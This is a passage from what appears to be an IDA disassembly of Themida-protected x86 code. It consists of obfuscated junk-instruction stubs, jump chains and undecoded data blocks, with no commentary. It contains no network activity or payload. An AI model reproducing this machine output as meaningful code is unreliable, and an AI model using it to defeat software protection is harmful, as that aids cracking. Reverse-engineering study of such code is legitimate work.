		sub	ebx, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55AB01
; ---------------------------------------------------------------------------


loc_557977:				; CODE XREF: Themida_:0055152Aj
		mov	ebp, 75C813C4h
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_54FE13
; ---------------------------------------------------------------------------
word_557986	dw 77FFh		; DATA XREF: Themida_:0054FD5Co
		dd 59669D1Ch, 241CD366h, 0CABCE99Ch, 0E959FFFFh, 0FFFFFDF2h
		dd 8104E6C1h, 4E3D27C6h, 8BF30170h, 0C4832434h,	8F6604h
		dd 0FFB54EE9h, 0B60F66FFh, 11D768CCh, 34890000h, 555E5424h
		dd 3A4F32BDh, 2CE5812Eh, 810A020Ch, 0B152FFE5h,	24F58124h
		dd 1000000h, 242C8BEEh,	8104C483h, 2EEh, 25E46800h, 34890000h
		dd 2474FF24h, 24348B04h, 0FFB51EE9h, 0BFBE56FFh, 814FF12Ah
		dd 0E36E3F6h, 8BF23101h, 0E9552434h, 0FFFFB6BAh, 0E7C38058h
		dd 2EC81h, 89660000h, 9B02404h,	7EE9C300h, 81000023h, 7306A7C5h
		dd 0E9F52906h, 3C75h
; ---------------------------------------------------------------------------


loc_557A38:				; CODE XREF: Themida_:005569F1j
		or	eax, 4687688Ah
		shl	eax, 6
		sub	eax, 0A9DEE27Fh
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55B99B
; ---------------------------------------------------------------------------


loc_557A59:				; CODE XREF: Themida_:00556ABFj
		pop	ecx
		xor	al, 0DAh
		add	bh, 2Fh
		sub	bh, al
		jmp	loc_555E8C
; ---------------------------------------------------------------------------
		dw 5B5Eh
		dd 3111E95Ah, 348B0000h, 0DA3BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557A76:				; CODE XREF: Themida_:0055967Bj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_554CD9
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 117BEA81h, 0D0012000h, 4EC835Ah, 0E9243C89h,	0FFFFF14Ah
		dd 8046B252h, 0B35395C2h, 18BFE99Bh
		db 2 dup(0)
aM0So		db '╛0ьИ╝-',0           ; DATA XREF: Themida_:0054FCE0o
		align 2
		dw 0ED81h
		dd 7F7B3BEDh, 575DEF01h, 42474FFh, 5F2434FFh, 8F04C483h
		dd 0E95C2404h, 0FFFFF094h, 68240489h, 0FEh, 0A1F5E958h
		dd 8B66FFFFh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_5576EC
; ---------------------------------------------------------------------------
		db 66h
		dd 1193C981h, 81664966h, 666C23E9h, 4FC8C181h, 0FF863FE9h
		dd 4295EFFh, 242C8124h,	168649D4h, 7F685351h, 5B488C33h
		dd 2760C381h, 58E9051Ch, 8BFFFFCDh, 0C481243Ch,	4, 4BE56h
		dd 0F7010000h, 0EABD555Eh, 0E97C6120h, 30E2h
; ---------------------------------------------------------------------------


loc_557B3C:				; CODE XREF: Themida_:0055ACDFj
		inc	ebp
		inc	ebp
		sub	ebp, 778D42C5h
		shl	ebp, 5
		jmp	loc_5523DB
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0D3662424h, 0E99C2404h, 0FFFF82B7h, 0E1399F68h
		dd 534F5F46h, 0FFFFFFBBh, 5BDF01FFh, 5004EFC1h,	0A2705EB8h
		dd 0F6E9526Bh, 0BDFFFF85h, 7709141Bh, 875DEF31h, 14F752D7h
		dd 52575A24h, 34FCE95Fh, 0BD550000h, 1FF243E6h,	0FFD4B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557B9D:				; CODE XREF: Themida_:005573A1j
		pop	edi
		add	edi, 4
		jmp	loc_55A98A
; ---------------------------------------------------------------------------
		db 8, 0D5h, 0E9h
		dd 0FFFFA48Eh, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF8253h
; ---------------------------------------------------------------------------


loc_557BC0:				; CODE XREF: Themida_:0055652Cj
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		xor	[ebx], edx
		pop	ebx
		pop	edx
		xor	edx, edx
		jmp	loc_557FD6
; ---------------------------------------------------------------------------


loc_557BD3:				; CODE XREF: Themida_:00550D3Aj
		add	esp, 4
		jmp	loc_552C7C
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF8233h, 87E9F001h, 8BFFFFF2h, 0C483242Ch, 5EF33104h
		dd 7458C581h, 0DD294446h, 2F4DE9h, 24048F00h, 4240483h
		dd 4C3815Bh, 0E9000000h, 18E8h,	1CC18141h, 0C1384B7Dh
		dd 0C18102E1h, 53FCB588h, 29E9CD01h, 1000044h, 2C8759CDh
		dd 0E9565C24h, 0FFFF9805h, 835FFB01h, 1C3304C3h, 241C3124h
		dd 5C241C33h, 2B73E9h, 839B000h, 0ED7E9C1h, 3C330000h
		dd 243C3124h, 0E9243C33h, 0FFFFBCCFh
; ---------------------------------------------------------------------------


loc_557C60:				; CODE XREF: Themida_:00558563j
		push	ebx
		mov	ebx, 0FB85105h
		jmp	loc_558AB5
; ---------------------------------------------------------------------------


loc_557C6B:				; CODE XREF: Themida_:00559338j
		shr	edi, 7
		not	edi
		shr	edi, 2
		jmp	loc_55C003
; ---------------------------------------------------------------------------
		dd 0E61EE95Ah, 0EC81FFFFh, 4, 0C75E9h, 243C3300h, 33243C31h
		dd 1BE9243Ch
		db 0ECh, 2 dup(0FFh)
byte_557C97	db 0FFh			; DATA XREF: Themida_:0054FB5Co
		dd 669D1C77h, 24041058h, 816DE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557CA6:				; CODE XREF: Themida_:00551088j
		mov	esi, 70CC7889h
		add	esi, 2B0B0EA4h
		push	ecx
		mov	ecx, 414520B7h
		add	esi, ecx
		pop	ecx
		sub	esi, 6C737602h
		neg	esi
		sub	esi, 8F56CE1Ah
		add	ebp, esi
		pop	esi
		jmp	loc_558E1A
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0D3E904C4h, 81FFFFB2h, 6E0756EAh,	0FAE9596Ch
		db 0ACh, 2 dup(0FFh)
off_557CE7	dd offset dword_5D5F68	; DATA XREF: Themida_:0054FDB0o
		align 4
		dd 68241C89h, 1, 83241C8Bh, 5F0904C4h, 241C8B1Ch, 1E4A6851h
		dd 24890000h, 24048124h, 4, 4C18159h, 0E9000000h, 0FFFFC48Ch
; ---------------------------------------------------------------------------


loc_557D1C:				; CODE XREF: Themida_:0055BEFCj
		add	esp, 4
		pop	ebp
		jmp	loc_559D53
; ---------------------------------------------------------------------------


loc_557D25:				; CODE XREF: Themida_:00557751j
		mov	esi, esp
		add	esi, 4
		push	64AEh
		mov	[esp], edi
		mov	edi, 74A55801h
		jmp	loc_559332
; ---------------------------------------------------------------------------


loc_557D3F:				; CODE XREF: Themida_:005591C0j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	716Ah
		mov	[esp], edi
		push	4
		mov	edi, [esp]
		push	ebp
		jmp	loc_557413
; ---------------------------------------------------------------------------


loc_557D65:				; CODE XREF: Themida_:0055B6A8j
		xor	edi, 7F544BB9h
		xor	edi, 525D47C1h
		and	edi, 11C03AE6h
		add	edi, 0BAEAE009h
		add	eax, edi
		jmp	loc_551D1A
; ---------------------------------------------------------------------------
		dd 78E9535Bh
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557D8B:				; CODE XREF: Themida_:00554BE6j
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		jmp	loc_558AF8
; ---------------------------------------------------------------------------
		db 5Ah,	31h, 0C7h
		dd 85CF8158h, 8156F243h, 918346F7h, 5FF889B4h, 21495BAh
		dd 0D490E971h, 8957FFFFh, 4C781E7h, 53000000h, 4BBh, 8BDF2900h
		dd 0C481241Ch, 4, 0F99E9h
		db 0
; ---------------------------------------------------------------------------


loc_557DDD:				; CODE XREF: Themida_:005528C9j
		mov	ebx, 27EB7828h
		neg	ebx
		shr	ebx, 6
		add	ebx, 6F3972B1h
		jmp	loc_5582B4
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 81DFF704h, 0D93A1AEFh, 5FF9898Fh, 1C181h, 53410000h
		dd 7D2BC9BBh, 5BD9011Bh, 8105E9C1h, 1BE183F1h, 8BCA0102h
		dd 0C483240Ch, 74FF5204h, 4EE90424h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E2B:				; CODE XREF: Themida_:0055859Fj
		mov	ebx, 195401A8h
		inc	ebx
		not	ebx
		sub	ebx, 87D4A769h
		xor	eax, ebx
		pop	ebx
		add	ebp, eax
		jmp	loc_555858
; ---------------------------------------------------------------------------
		db 87h
		dd 0D3E94FFBh, 81FFFFDFh, 4C4h,	74E95700h, 2DFFFF96h, 339E4B00h
		dd 0CE77750Dh, 8CC0E945h, 8DB8FFFFh, 3121189Ah,	0ACE958C5h
		dd 83000036h, 0FF5704C4h, 5F042474h, 8B24048Fh,	4002424h
		dd 50E99C24h, 89FFFFFDh, 4EC83E0h, 50242C89h, 4B8h, 0DCA9E900h
		dd 0E952FFFFh, 185Ah, 205h, 24048700h, 6624248Bh, 50240C8Bh
		dd 0FFFFD2E9h, 5D5B55FFh, 97C5F381h, 0E950FF13h, 0FFFFDF85h
dword_557EC8	dd 813C77FFh, 16BC242Ch, 4BE9214Fh ; DATA XREF:	Themida_:0054FD78o
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557ED7:				; CODE XREF: Themida_:0055039Ej
		pop	eax
		jmp	loc_5565C0
; ---------------------------------------------------------------------------
		db 0B0h, 0E3h, 0
		dd 535866C5h, 0C3802DB3h, 9AC3801Dh, 0E9DFED80h, 21C4h
		dd 48ED815Eh, 12AD339h,	48C581D5h, 8B2AD339h, 0C4812414h
		dd 4, 5502C583h, 42474FFh, 24048F5Dh, 0FFA1D8E9h, 2CEB68FFh
		dd 52E90000h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557F27:				; CODE XREF: Themida_:005523C0j
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5597F4
; ---------------------------------------------------------------------------
dword_557F44	dd 240C8B66h, 8904EC83h, 0BEE9240Ch, 8FFFFFD5h,	7CE92404h
					; DATA XREF: Themida_:0054FC90o
		dd 0B9FFFFBEh, 2EF3AB4Bh, 0E4768h, 241C8900h, 77BFB951h
		dd 0ACBB724Fh, 191C0FEh, 0E95659CBh, 3C2Ch
; ---------------------------------------------------------------------------


loc_557F7C:				; CODE XREF: Themida_:005517A8j
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 0EAB562Dh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6D3D191Eh
		push	0
		sub	dword ptr [esp], 4B805EDh
		sub	[esp], ebx
		add	dword ptr [esp], 4B805EDh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_555079
; ---------------------------------------------------------------------------
		db 31h,	0DEh, 5Bh
		dd 95E9F531h, 8100002Eh, 0F424CBF1h, 9C18105h, 29C76B2Eh
		dd 875F59C8h, 248B2404h, 82EFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557FD6:				; CODE XREF: Themida_:00557BCEj
		push	729Ah
		mov	[esp], edi
		push	ebx
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_552406
; ---------------------------------------------------------------------------
		db 68h,	0B4h, 69h
		dd 0D3E93F12h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557FFF:				; CODE XREF: Themida_:005595A1j
		mov	eax, 7A1B76BEh
		jmp	loc_55502B
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0C4h
		dd 4, 0E9E78957h, 21E3h, 4246C81h, 6FBB688Fh, 2AAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_558025:				; CODE XREF: Themida_:00559E4Fj
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5570D6
; ---------------------------------------------------------------------------
dword_558030	dd 9D1C77FFh, 24041958h, 7DD5E99Ch, 0ED81FFFFh,	5CF5152Fh
					; DATA XREF: Themida_:0054FC64o
		dd 0E6A8E959h, 0C581FFFFh, 0F5598B38h, 315DEA31h, 0B685AD0h
		dd 89000015h, 67BA2414h, 55247416h, 0DA6CE1BDh,	5DEA2176h
		dd 54C6C281h, 0E95172D9h, 13Ch
; ---------------------------------------------------------------------------


loc_558078:				; CODE XREF: Themida_:005570A0j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	260Ah
		mov	[esp], edi
		push	edx
		mov	edx, 553C772Dh
		push	eax
		jmp	loc_558BFC
; ---------------------------------------------------------------------------


loc_558093:				; CODE XREF: Themida_:00551A42j
		mov	esi, 6E4207A8h
		jmp	loc_550960
; ---------------------------------------------------------------------------
		db 0D1h, 0EAh, 0E9h
		dd 0FFFFBA78h, 8158C231h, 0F434EFF2h, 68BE916h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5580B2:				; CODE XREF: Themida_:0055B51Aj
		pop	ebx
		jmp	loc_55104E
; ---------------------------------------------------------------------------
		dd 81D1F749h, 0A1FAF2F1h, 0E9CF8949h, 0FFFFF662h
; ---------------------------------------------------------------------------


loc_5580C8:				; CODE XREF: Themida_:0055B219j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55AC92
; ---------------------------------------------------------------------------
		dd 0CB31D931h, 8304EBC1h, 3C8904ECh, 0C0A7BF24h, 0FB290099h
		dd 0E92434FFh, 0FFFFC637h, 8904EC83h, 0F1E92404h, 100000Fh
		dd 0ADEB81CBh, 596A6F51h, 4EC81h, 1C890000h, 2474FF24h
		dd 48F5B04h, 0BCD0E924h, 0F701FFFFh, 37A8EF81h,	0EF81131Eh
		dd 17AC25E8h, 18BD555Eh, 4D0A8E55h, 8AAE9h, 0F6FE8600h
		dd 97C1E9D7h, 15EFFFFh,	0C6E95FFAh, 8BFFFFA9h, 89522404h
		dd 0BE5651E2h, 6572230Fh, 0FFC5C0E9h, 59F180FFh, 8008E1C0h
		dd 0E1C0FFC1h, 0E95AE907h, 1C8BFFFFh, 4C48124h,	87000000h
		dd 248B242Ch, 8E2E924h,	975F0000h, 0EFD19748h, 21F5F781h
		dd 0F8890E02h, 6363255Fh, 443565ABh, 0D1FAA57h,	595048D8h
		dd 9545E605h, 0C5E33577h, 29E9D367h, 86FFFFBFh,	0E901244Ch
		dd 0FFFFB6C6h, 6BFCBA52h, 0E9524153h, 1476h, 0C681E689h
		dd 4, 0E904C683h, 0FFFFE2A2h
dword_5581D0	dd 1E32DADh, 4B2D5021h,	0E945625Bh, 0FFFFEC19h,	0FF7C2EE9h
					; DATA XREF: Themida_:0054FB50o
		dd 0D58851FFh, 0FFAC7EE9h, 0E08950FFh, 36B5E9h,	0E7885300h
		dd 0EFE9FD88h, 68FFFFE1h, 3B76h, 24048F54h, 0FF844FE9h
		dd 81E389FFh, 4C3h, 0BD23E900h
		db 2 dup(0FFh)
word_55821A	dw 28Fh			; DATA XREF: Themida_:0054FC58o
		dd 0FF7BF2E9h, 240433FFh, 837BE95Ch, 34FFFFFFh,	24048B24h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 9726A96h
		jmp	loc_55BC99
; ---------------------------------------------------------------------------
		db 89h,	0DAh, 5Bh
		dd 36685158h, 0E9357A2Eh, 0FFFF815Ch, 0E92434FFh, 0FFFF8A8Ch
		dd 8BE95B5Ah
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55825F:				; CODE XREF: Themida_:00553596j
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_55593C
; ---------------------------------------------------------------------------


loc_55826C:				; CODE XREF: Themida_:0055AEA7j
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55871D
; ---------------------------------------------------------------------------


loc_558280:				; CODE XREF: Themida_:00556997j
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55780C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 0E2895224h, 6F4268h, 24348900h, 302EE9h, 0C3835E00h
		dd 4EC8304h, 0E9241C89h, 0FFFF84CAh
; ---------------------------------------------------------------------------


loc_5582B4:				; CODE XREF: Themida_:00557DEDj
		and	ebx, 1E781F07h
		and	ebx, 4DC1505Eh
		add	ebx, 4
		sub	eax, ebx
		pop	ebx
		jmp	loc_553619
; ---------------------------------------------------------------------------


loc_5582CE:				; CODE XREF: Themida_:005534B4j
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_550B88
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 81000000h, 9A7230C2h, 81CA0126h, 9A7230EAh, 0BFF4E926h
		dd 487FFFFh, 0CECBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55830A:				; CODE XREF: Themida_:00559319j
		or	ah, 8Ch
		shl	ah, 3
		neg	ah
		xor	ah, 98h
		add	ch, ah
		pop	eax
		sub	bl, ch
		pop	ecx
		movzx	eax, al
		jmp	loc_550F63
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4796C8Bh
		jmp	loc_55520C
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 47FC45BCh, 0BB53D2F7h, 1B7321A9h, 1622F381h,	0DA09188Fh
		dd 5CF2815Bh, 52A7DFF6h, 0F3242C81h, 0E96E2F4Bh, 1098h
; ---------------------------------------------------------------------------


loc_55836C:				; CODE XREF: Themida_:005506E7j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	edx, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 4
		jmp	loc_55584A
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 0D1F7D1F7h, 4FE2C181h, 0F18154C9h, 0EEE93246h, 5BE9CF29h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55839F:				; CODE XREF: Themida_:0055060Bj
		not	esi
		push	ecx
		push	ebp
		mov	ebp, 67C51B50h
		mov	ecx, ebp
		pop	ebp
		sub	esi, ecx
		pop	ecx
		jmp	loc_555A61
; ---------------------------------------------------------------------------


loc_5583B3:				; CODE XREF: Themida_:005511D9j
		mov	edi, 5AA2ED90h
		jmp	loc_5578D0
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 8Dh
		dd 81781132h, 9932C9F6h, 2474017Bh, 0FCE95E04h,	0BFFFFFA6h
		dd 123649F3h, 0E95FF901h, 0FFFFD1F3h, 285BFE28h, 0D9885AF3h
		dd 83241C8Bh, 0C80004C4h, 240C8B66h, 2C481h, 65680000h
		dd 8900004Ch, 8FB1240Ch, 14E9C830h, 89FFFFAFh, 0DFF75AD7h
		dd 0C781DFF7h, 49534035h, 2839BA52h, 0F281381Eh, 7149523Dh
		dd 0F5E9D709h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55842B:				; CODE XREF: Themida_:00556A3Cj
		push	edx
		mov	edx, esp
		jmp	loc_558568
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF79DBh, 663F5BB8h, 547C3528h, 683520C2h,	0E962C452h
		dd 1F2Ch, 58C6015Eh, 2052E9h
		db 0
; ---------------------------------------------------------------------------


loc_558455:				; CODE XREF: Themida_:005558BFj
		pop	ebx
		add	ebx, 4
		jmp	loc_5548CD
; ---------------------------------------------------------------------------


loc_558461:				; CODE XREF: Themida_:00558A35j
		add	[esp], eax
		push	ebp
		push	7EBF6A73h
		jmp	loc_55151E
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFA4BDE9h, 4C483FFh, 62EE942h, 0F5890000h, 38ADE9h
		dd 47C62D00h, 9D2D795Dh, 0E94A3F00h, 23DBh, 53D4BE56h
		dd 0F5313F47h, 940E9h
		db 0
; ---------------------------------------------------------------------------


loc_5584A1:				; CODE XREF: Themida_:005507FCj
		push	ebx
		mov	ebx, 4
		add	dword ptr [esp+4], 70444E39h
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 70444E39h
		jmp	loc_5588D6
; ---------------------------------------------------------------------------
		dd 4B951h, 5CE90000h, 5DFFFFF7h, 0CEE9FD89h, 8BFFFF7Fh
		dd 4FE2424h, 34E99C24h
		db 79h,	2 dup(0FFh)
byte_5584DF	db 0E9h			; DATA XREF: Themida_:0054FD20o
		dd 0FFFF792Fh, 2C8BEF89h, 4C48324h, 1BB53h, 0EF810000h
		dd 18B24DB7h, 0C781DF29h, 18B24DB7h, 1EF7815Bh,	8154B940h
		dd 0DD432AE7h, 62B66800h, 0C890000h, 0C0685724h, 5F062218h
		dd 6406BB53h, 28E91EBFh, 8B00000Fh, 8B662424h, 7B682404h
		dd 89000030h, 0E389241Ch, 63CB68h, 24048900h, 4EC81h, 3C890000h
		dd 6DE95624h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55854F:				; CODE XREF: Themida_:00550133j
		pop	esi
		jmp	loc_559EC6
; ---------------------------------------------------------------------------


loc_558555:				; CODE XREF: Themida_:00554E6Dj
		mov	esi, [esp]
		add	esp, 4
		push	1927h
		mov	[esp], eax
		jmp	loc_557C60
; ---------------------------------------------------------------------------


loc_558568:				; CODE XREF: Themida_:0055842Ej
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	46CBh
		mov	[esp], edx
		mov	dh, 39h
		push	bx
		mov	bl, 72h
		or	dh, bl
		jmp	loc_554311
; ---------------------------------------------------------------------------


loc_558592:				; CODE XREF: Themida_:00551C71j
		mov	eax, 5ED756EEh
		push	eax
		not	dword ptr [esp]
		pop	eax
		neg	eax
		push	ebx
		jmp	loc_557E2B
; ---------------------------------------------------------------------------


loc_5585A4:				; CODE XREF: Themida_:0055B23Cj
		xchg	edi, [esp]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_54FE13
; ---------------------------------------------------------------------------
		dd 0C004EAC0h, 0E28002EAh, 0B1516625h, 66CA3034h, 0A809E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5585C6:				; CODE XREF: Themida_:00557456j
		inc	esi
		jmp	loc_557368
; ---------------------------------------------------------------------------
		dd 0FF7842E9h, 107ABBFFh, 0DBF71D0Dh, 1EB81h, 0EBC10000h
		dd 73C38105h, 0E959BA30h, 0FFFFEDC0h, 6FFEB81h,	0DF01EB34h
		dd 7D0685Bh, 3C890000h,	0C527E924h, 0E953FFFFh,	0FFFF8CE7h
; ---------------------------------------------------------------------------


loc_558608:				; CODE XREF: Themida_:0055134Dj
		pop	edx
		mov	ebx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_550F6F
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4408047Ch, 3F009D05h, 47C6054Ah, 0F801795Dh,	0FFFE48E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55863D:				; CODE XREF: Themida_:0055A778j
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edx
		jmp	loc_555C46
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 18h
		dd 89C4BDEEh, 81455EF5h, 8E06AEEDh, 5DEB016Bh, 8500E951h
		dd 433FFFFh, 24043124h,	0FFFBB0E9h, 24348BFFh, 2904C483h
		dd 0EBA9E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55867E:				; CODE XREF: Themida_:00557824j
		push	ebp
		mov	ebp, 6CE537AAh
		or	ebp, 69662D1Bh
		xor	ebp, 5B1A3442h
		jmp	loc_55928D
; ---------------------------------------------------------------------------
aSn		db 9,'бИn-',0
		align 4
		dd 4EC81h, 4890000h, 0B2FFB824h, 0C1311189h, 39CCE958h
		dd 0E9530000h, 0FFFFF1D6h
dword_5586B8	dd 0FF2434FFh, 83582434h, 545304C4h, 0B850575Bh, 62D51784h
					; DATA XREF: Themida_:0054FDA4o
		dd 4D58CC0Dh, 2E8C10Eh,	105h, 90C3500h,	0C7891AD4h, 0FFBBC9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5586E5:				; CODE XREF: Themida_:00552AA8j
		mov	[esp], edx
		push	1B3E597Fh
		mov	edx, [esp]
		add	esp, 4
		add	edx, 0E6C1A681h
		mov	ebx, edx
		pop	edx
		and	eax, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_554AA6
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 7E6C102h, 0FFDF39E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55871D:				; CODE XREF: Themida_:0055827Bj
		sub	edi, 4
		jmp	loc_5594B0
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 17381823h, 4245C31h, 24048B5Bh, 0FF85CAE9h
		dd 5AD029FFh, 0C06C1A2Dh, 24348B4Dh, 4EC81h, 0E3E90000h
		dd 5EFFFFAFh, 0E9241C87h, 0FFFF9453h, 66150566h, 0E9C80166h
		dd 0FFFFDF1Ch
dword_558768	dd 0B2BF57ADh, 0F7629A73h, 87F3E9D7h, 2C8BFFFFh, 0E7895724h
					; DATA XREF: Themida_:0054FCFCo
		dd 4C781h, 0C7830000h, 243C8704h, 2434875Ch, 240CD25Ch
		dd 767DE99Ch, 0E281FFFFh, 47853CCBh, 0E75AC281h, 62056CACh
		dd 15C666Fh, 6F622DD0h,	685A5C66h, 7B88h, 0BA241489h, 2FF97E7Eh
		dd 378CE9h, 0BB535800h,	51004F8h, 1F07CB81h, 0CB8169C8h
		dd 6B4F7325h, 70EB850h,	0C3310709h, 98CB8158h, 0E90D6C59h
		dd 33F0h, 0E7C1DFF7h, 0C61FE902h, 0CA01FFFFh, 0FFF4E2E9h
		dd 1F781FFh, 2905617Ah,	90E95FFAh, 81FFFFE9h, 8F3019EEh
		dd 89E68154h, 515CE52Ch, 5560D6B9h, 59CE014Fh, 8106EEC1h
		dd 2447B5C6h, 0A1AAE913h, 8159FFFFh, 2C6h, 24348700h, 6424248Bh
		dd 0E9028966h, 0FFFF75D3h, 852AE957h, 0E95BFFFFh, 3532h
; ---------------------------------------------------------------------------


loc_55884C:				; CODE XREF: Themida_:005509BEj
		xchg	ebx, [esp]
		pop	esp
		push	486Bh
		jmp	loc_550AC3
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 89242C89h, 4C581E5h, 53000000h, 0F17ADEBBh, 2E3C15Ah
		dd 632E9h, 24248900h, 1A8668h, 24048900h, 0FF88D2E9h, 0E9E504FFh
		dd 0FFFF76CBh
; ---------------------------------------------------------------------------


loc_558890:				; CODE XREF: Themida_:005549C9j
		jmp	loc_55522E
; ---------------------------------------------------------------------------
		db 0D1h, 0EDh, 0E9h
		dd 0FFFFD2BCh, 83F90159h, 148904ECh, 2661E924h,	0FE890000h
		dd 8BF0315Fh, 89532434h, 4C381E3h, 83000000h, 1C8704C3h
		dd 1732E924h, 0E9C10000h, 0D4F18108h, 8900D293h, 9489E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5588D6:				; CODE XREF: Themida_:005584BBj
		mov	ebx, [esp]
		add	esp, 4
		pop	edi
		add	edi, 4
		push	713h
		mov	[esp], eax
		push	ebx
		jmp	loc_558B89
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0E9h
		dd 291B4FD3h, 1BF4E9F3h, 4890000h, 2474FF24h, 48F5804h
		dd 24248B24h, 0FFCEDFE9h, 0E38953FFh, 4C381h, 0EB810000h
		dd 4, 0FF7C1CE9h, 58C689FFh, 4EFFEE83h,	5E00F681h, 13E9380Dh
		dd 0E9FFFFECh, 0FFFF74D7h, 0E9D7F280h, 180h
dword_558944	dd 0E924248Bh, 0FFFF74C7h ; DATA XREF: Themida_:0054FD90o
dword_55894C	dd 50240C8Bh, 4EC81h, 24890000h, 4B85024h, 1000000h, 58042444h
					; DATA XREF: Themida_:0054FC68o
		dd 0DBBA5258h, 81096033h, 924D9FC2h, 27E28157h,	0F7004C06h
		dd 7E2C1D2h, 0FFF105E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558981:				; CODE XREF: Themida_:0055B681j
		push	ebx
		mov	ebx, 294C2C64h
		add	[esp+4], ebx
		jmp	loc_558E8D
; ---------------------------------------------------------------------------
		dd 4C581h, 25E90000h, 81FFFFFBh, 193041C5h, 0A27E91Eh
		dd 815D0000h, 9103C3h, 5BDD0100h, 0C9FAE955h, 0C300FFFFh
		dd 47E95066h, 8900002Eh, 4C681E6h, 81000000h, 4C6h, 92A4E900h
		dd 0EF81FFFFh, 37DEE64Dh, 31E9FA01h, 8100000Ch,	8E5513EDh
		dd 5DEF290Ah, 0E9243C87h, 0FFFFEA05h
dword_5589F0	dd 24048B66h, 31A068h, 243C8900h, 0C7815F54h, 4, 8904EC83h
					; DATA XREF: Themida_:0054FB64o
